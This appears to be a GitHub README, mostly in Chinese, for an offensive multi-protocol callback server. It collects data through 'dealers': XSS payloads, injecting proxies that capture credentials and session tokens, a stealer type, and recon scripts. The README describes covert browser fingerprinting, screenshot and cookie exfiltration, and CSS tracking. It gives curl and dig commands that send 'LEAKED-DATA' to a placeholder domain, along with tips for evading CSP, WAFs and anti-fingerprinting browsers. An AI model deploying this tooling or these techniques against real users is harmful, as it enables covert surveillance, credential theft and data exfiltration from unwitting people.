jomoza/Offensive_Callback

GitHub: jomoza/Offensive_Callback

一款集成 HTTP、WebSocket、DNS、ICMP 多协议的攻击性回调服务器,通过模块化 Dealer 分发点实现隐蔽的浏览器指纹采集、设备遥测与 OSINT 数据富化。

Stars: 24 | Forks: 0

# OFFENSIVE CALLBACK **多协议设备攻击性回调服务器** ``` ┌─────────────────────────────────────────┐ │ OFFENSIVE CALLBACK │ │ Node.js / Express │ ├──────────┬──────────┬───────┬───────────┤ │ HTTP(S) │ WS │ DNS │ ICMP │ │ :80/443 │ shared │ :53 │ raw sock │ (SMTP & SMB ON DEV) └────┬─────┴────┬─────┴───┬───┴─────┬─────┘ │ │ │ │ ┌──────────▼──────────▼─────────▼─────────▼──────────┐ │ SQLite Database │ │ Logs · IPs · Files · DNS · OSINT Data │ └──────────────────────┬─────────────────────────────┘ │ ┌────────────────▼───────────────────┐ │ Web Dashboards │ │ /index · /callback · /dashboard │ │ /scanners · /files · /options │ └────────────────────────────────────┘ ``` 所有四种协议都接入**单一统一的 SQLite 数据库**。每条日志记录都经过了丰富化处理,包含:浏览器指纹(`Fu`/`Fb`/`Jd`)、GeoIP、WHOIS、可选的 OSINT(Shodan、CriminalIP、VirusTotal、InfoDB)以及文件外发链接。 ## 安装 ``` git clone https://github.com/jomoza/5ELG cd 5ELG npm install # 复制并配置环境 cp .env.example .env nano .env # 开始 node index.js # 或者使用 root (DNS + ICMP 必需) sudo node index.js ``` **要求:** Node.js 18+,以及用于 DNS(端口 53)和 ICMP(原始套接字)的 root 权限。 ## 环境变量 | 变量 | 默认值 | 描述 | | -------------------- | ------------------- | ------------------------------------------ | | `HOST` | `0.0.0.0` | 绑定的网络接口 | | `DOMAIN` | — | 主域(用于 dealer URL 中) | | `PORT` | `80` | HTTP 端口 | | `SSL_PORT` | `443` | HTTPS 端口 | | `SSL_KEY_PATH` | — | TLS 私钥路径 | | `SSL_CERT_PATH` | — | TLS 证书路径 | | `HTTP_SERVER` | `true` | 启用 HTTP(S) 监听器 | | `WS_SERVER` | `true` | 启用 WebSocket 服务器(共享 HTTP 端口) | | `DNS_SERVER` | `false` | 启用 DNS 服务器 | | `DNS_PORT` | `53` | DNS 端口(需要 root 权限) | | `DNS_RELAY` | `false` | 将未知查询转发至上游 | | `DNS_RELAY_IP` | `1.1.1.1` | 用于中继模式的上游 DNS | | `ICMP_LISTENER` | `false` | 启用 ICMP ping 监听器(需要 root 权限) | | `DB_PATH` | `./db.sqlite` | SQLite 数据库路径 | | `UPLOAD_PATH` | `./Sources/uploads` | 上传文件存储位置 | | `BACKUP_PATH` | `./Sources/backups` | CSV 备份存储位置 | | `DEALERS_PATH` | `./Sources/dealers` | Dealer 文件存储位置 | | `SHODAN_API_KEY` | — | Shodan API key | | `CRIMINALIP_API_KEY` | — | CriminalIP API key | | `VIRUSTOTAL_KEY` | — | VirusTotal API key | | `INFODB_KEY` | — | InfoDB API key | | `TELEGRAM_NOTIF` | `false` | Telegram 告警通知 | | `DISCORD_NOTIF` | `false` | Discord 告警通知 | | `VELG_USER` | `admin` | Web UI 用户名 | | `VELG_PWD` | — | Web UI 密码 | ## 安全提示 - 在生产环境中,请部署在配置了有效 TLS 的反向代理(nginx/Caddy)之后 - 保护 Web 界面 —— 请修改默认的 admin:admin 凭证。 - OSINT API key 存储在 `.env` 文件中 —— 切勿提交此文件 - 端口 53 上的 DNS 服务器需要 root 权限;建议使用端口重定向(`iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353`)并以非 root 用户身份运行进程 - ICMP 监听器需要 root 权限;适用相同的方法 - SQLite 数据库包含敏感的指纹和 OSINT 数据 —— 请相应地保护文件权限(`chmod 600 db.sqlite`) - `DEALERS_PATH` 中的所有 dealer 文件都是公开提供的 —— 请勿在其中放置敏感文件 ## Dealer ### 什么是 Dealer **Dealer**(分发点)是在 `dealers.json` 中注册的服务器端 endpoint。当 HTTP 请求匹配到某个 dealer 的别名或路径时,服务器会执行该 dealer 配置的行为 —— 提供文件、执行重定向、代理远程站点或响应一个像素点 —— 同时始终记录此次命中。 Dealer 是数据收集点。一旦部署(嵌入页面、发送电子邮件、通过 XSS 投递或通过代理链服务),它们就会静默收集遥测数据并将其发送回服务器。 ### Dealer 路由逻辑 在每次入站请求时,dealer 引擎都会应用此查找链: ``` 1. Match URL path against aliases[] (exact or prefix match) → Aliases starting with "/" are used as-is → Others are prepended with "/" 2. If no path match, check ?dl= query parameter against id / aliases (by name) 3. If no match → sendPixel() — return 1×1 transparent PNG ``` 如果匹配到的 dealer 处于**非活跃状态**(`status: "inactive"`),该请求将被丢弃并返回 `sendPixel()` —— 不进行记录,也不进行丰富化处理。 ### Dealer 类型 | 类型 | 描述 | | ------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | | `XSS` | 用于浏览器注入的 JavaScript payload。以 `.js` 形式提供或包装在 HTML 中。主要指纹识别向量。 | | `XSS-PROXY` | 透明代理,将 JS dealer 注入到其代理的每个 HTML 响应中。捕获代理页面的会话 token、表单提交和凭证。 | | `HTML` | 提供原始 HTML 文件。可以包含任何 payload:CSS 追踪、像素点嵌入、自定义页面、钓鱼诱饵。 | | `URL-REDIRECT` | 记录命中后重定向到 `redirect`。重定向可以通过包装页面携带注入的 dealer。 | | `URL` | 提供一个 URL 或充当文件 endpoint。用于提供静态的 dealer 资产。 | | `PHP-PROXY` | 基于 PHP 的透明代理。镜像目标站点并注入收集代码。 | | `JSP-PROXY` / `ASP-PROXY` / ... | 代理 dealer 的 JSP / ASP 变体。 | | `powershell` | 提供 PowerShell 脚本。用于 Windows 服务端侦察:主机名、ARP、连接、已安装的软件、当前用户。 | | `bash` / `sh` | 提供 Bash/sh 脚本。用于 Linux 侦察:内核、主机名、进程、网络接口、开放端口。 | | `stealer` | 专用的凭证/数据捕获 dealer。 | | `COPY/PASTE` | 设计为可直接复制粘贴到浏览器控制台或文档中的 payload。 | ### Dealer 配置 Schema ``` { "id": "UNIQUE-ID", // Identifier, used in logs as Dl field "name": "Human-readable name", "description": "What this dealer does", "type": "XSS", // See Dealer Types table "isproxy": false, // Transparent proxy mode "status": "active", // "active" | "inactive" "redirect": "https://target.com",// Redirect URL (optional) "aliases": [ // URL paths and name aliases "main-dealer", "/dl", "/dealer" ], "urls": [ // Domain reference (shown in UI) "https://your-domain.com" ], "loot": "0", // "1" = loot mode, "0" = normal "file": "default/dl.full.min.js", // File relative to DEALERS_PATH "total_requests": 0, // Auto-incremented by server "time_request": {} // Timestamps (managed by server) } ``` ## 浏览器指纹识别 主要的收集代理是由 XSS dealer 提供的 JavaScript payload。当在浏览器上下文中执行时,它会: 1. 计算浏览器**指纹**(`Fu` —— canvas + fonts + WebGL 的 SHA-256)和 **canvas 哈希**(`Fb`) 2. 收集完整的**设备 JSON**(`Jd`)—— 硬件规格、GPU、电池、网络、屏幕、语言、时区、插件 3. 对当前页面进行**屏幕截图**(通过 html2canvas 或原生 API)并将其以 base64 格式外发 4. 拦截页面上的 **POST 提交**(表单捕获、凭证收集) 5. 打开 **WebSocket 连接**进行实时和持续的数据流传输 6. 运行可选的 **LAN 网络扫描器**并报告内部网络拓扑 7. 转储 **localStorage**、**sessionStorage**、**cookies**(在可访问的情况下),以及页面上下文中任何可见的 **API keys** 或 **JWT tokens** 所有数据都通过现有的 HTTP/WS 通道回传至服务器。该请求在视觉上与正常的资产加载无异。 ### 指纹字段 |字段|描述| |---|---| |`Fu`|SHA-256 浏览器指纹。在会话、标签页和 IP 变更中保持稳定。主要标识符。| |`Fb`|Canvas 渲染哈希。用于跨浏览器设备分析,识别 GPU/驱动程序组合。| |`Jd`|Base64 编码的设备 JSON(参见下方的 Jd Device Payload)。| |`Ip`|源 IP 地址。| |`Ua`|User-Agent 字符串。| |`Dl`|Dealer 标识符(哪个 dealer 提供了该请求)。| |`Er`|Base64 编码的请求信封(方法、URL、headers、body)。| |`Ts`|请求的时间戳。| |`Fr`|会话指纹引用(将屏幕截图链接到日志)。| ### JD (JSON of Device) 设备浏览器指纹信息 `Jd` 字段是一个 base64 编码的 JSON 对象,其结构如下: ``` { "deviceData": { "platform": "Win32", "hardwareConcurrency": 8, // CPU cores "deviceMemory": 16, // RAM in GB "maxTouchPoints": 0, // Touch screen detection "languages": ["en-US", "en"], "timezone": "Europe/Madrid", "screen": { "width": 1920, "height": 1080 }, "devicePixelRatio": 2.0, "vendor": "Google Inc." }, "gpuData": { "renderer": "NVIDIA GeForce RTX 3080 ...", "vendor": "Google Inc. (NVIDIA)", "colorDepth": 24 }, "browserData": { "userAgent": "Mozilla/5.0 ...", "cookieEnabled": true, "adBlockEnabled": false, "batteryData": { "level": 0.87, "charging": false }, "networkInfo": { "effectiveType": "4g", "downlink": 25.5 }, "memoryInfo": { "usedJSHeapSize": 42000000 }, "plugins": ["PDF Viewer", "Chrome PDF Viewer"], "rtcdata": null // RTC local IP (if leaking) } } ``` ### CSS 与 NoScript 追踪 当 JavaScript 被阻止或不可用时,CSS dealer(`CSS-TRACKING-DEMO`)通过纯 CSS 提供被动遥测: - **`@font-face` 探测** —— 特定于操作系统的字体加载可揭示 Windows / macOS / Linux / iOS / Android - **`@supports` 规则** —— 检测 Chrome、Firefox、Safari、Edge 之间的 CSS 引擎差异 - **`@media` 查询** —— 屏幕分辨率、`prefers-color-scheme`、`prefers-reduced-motion`、`pointer: coarse`(触控检测)、`hover`、HDR 能力 - **图片像素信标** —— 每条触发的 CSS 规则都会向服务器请求一个唯一的 1×1 图片,从而记录匹配到的探测 结果:在零 JavaScript 的情况下获取详细的 OS + 浏览器 + 硬件配置文件。 ## 数据外发 OFFENSIVE CALLBACK 通过多种协议接收来自植入物和 dealer 的数据。无论使用以下哪种技术,每一个完整的请求(IP、headers、路径、payload)都会被记录到 SQLite 数据库中,并与匹配的 dealer 相关联。 ### HTTP 外发 HTTP 是最通用的通道。数据可以编码到 URL 参数、自定义 headers、请求体或 referrer 中。无论路径或方法如何,任何入站 HTTP 请求都会被记录。 **通过 URL 参数和 headers:** ``` curl -I "https://your-domain.com/dealer/beacon.png?data=LEAKED-VALUE" ``` **POST body:** ``` curl -X POST "https://your-domain.com/dealer" \ -H "Content-Type: application/json" \ -d 'LEAKED-DATA' ``` **IMG Ping:** ``` ``` **基础查找 —— 注册源 IP 和查询的名称:** ``` dig @your-domain.com LEAKED-DATA.your-domain.com A ``` ## 局限性 通过 JavaScript 进行的浏览器指纹识别虽然有效,但需在浏览器安全模型内运作。适用以下限制。 ### 混合内容 浏览器会阻止在安全(HTTPS)页面内加载不安全(HTTP)的资源。如果 dealer 通过 HTTP 提供并嵌入在 HTTPS 目标中,该脚本将被静默丢弃。**缓解措施:** 始终通过带有有效且受信任证书的 HTTPS 提供 dealer。在 `.env` 中配置 `SSL_KEY_PATH` / `SSL_CERT_PATH`。 ### 无效的 TLS 证书 如果服务器提供不受信任或自签名的证书,浏览器将在 dealer 执行之前拒绝连接(`NET::ERR_CERT_AUTHORITY_INVALID`)。**缓解措施:** 使用来自公共 CA(Let's Encrypt、ZeroSSL)的证书。CSS 像素信标回退机制受到的影响较小,因为图片通常是在跨源的情况下加载的,无需严格的证书检查。 ### CORS 限制 当 dealer 从第三方源向回调服务器 POST 数据时,浏览器会强制执行 CORS。如果服务器没有为该源返回 `Access-Control-Allow-Origin`,浏览器将阻止响应 —— 然而,请求本身仍然会到达服务器并被记录。OFFENSIVE CALLBACK 默认返回宽松的 CORS headers;请确保您的反向代理没有剥离它们。 ### 内容安全策略 (CSP) 强制执行严格 CSP(`script-src`、`connect-src`、`img-src`)的目标可以阻止 dealer 的执行和外部连接。**部分绕过:** 仅使用 CSS 的 dealer(`CSS-TRACKING-DEMO`)仅使用 `@font-face` 图片加载,这受 `img-src` 而不是 `script-src` 控制,并且能够在许多 `script-src 'none'` 配置中存活下来。DNS 外发不受 HTTP 层面的 CSP 影响。 ### 浏览器反指纹追踪 诸如 Firefox(`privacy.resistFingerprinting`)、Brave(随机化的 canvas/WebGL 噪点)和 Tor Browser 等浏览器会故意欺骗或随机化指纹表面。当同一个 `Fu` 的多个 Jd payload 在不同字段间显示出高度差异时,指纹仪表板中的卡片会被标记为**不一致(Inconsistent)** —— 这是正在使用主动反指纹追踪对策的信号。 ### 浏览器静默更新 主要的浏览器更新可能会更改 canvas 渲染算法(影响 `Fu` 稳定性),限制电池或网络 API,或者为计时函数添加新的噪点。来自同一设备的指纹在更新后可能会出现差异。`Fb` canvas 哈希比 `Fu` 对渲染更改敏感。 ### Web 应用防火墙 (WAFs) WAF 可以识别并阻止指纹识别模式 —— 异常的 header 组合、来自单个 IP 的高频请求或已知的脚本签名。1×1 像素回退和 DNS 通道是最不可能触发 WAF 规则的向量。轮换 dealer 别名并使用通用的文件扩展名(`.png`、`.gif`、`.woff`)可减少被检测的表面。 ## 链接 - [如何追踪注重隐私的浏览器](https://loveisinthe.net/blog/2023/05/10/How-to-track-privacy-lovers-browser/) - [深入了解 JS 指纹世界](https://loveisinthe.net/blog/2023/01/07/MORE-IN-JS-FINGERPRINT-WORLD/) - [客户端黑客攻击简介](https://loveisinthe.net/blog/2021/10/25/Cl13nt-SId3-H4cKing-Introduction/) - [浏览器指纹识别技术 — fingerprint.com](https://fingerprint.com/blog/browser-fingerprinting-techniques/) - [我是唯一的吗?— 指纹熵测试](https://amiunique.org/) - [ExoSunand](https://exosunand.net/)
标签:GNU通用公共许可证, IP 地址批量处理, MITM代理, Node.js, SQLite, 回调服务器, 浏览器指纹, 自定义脚本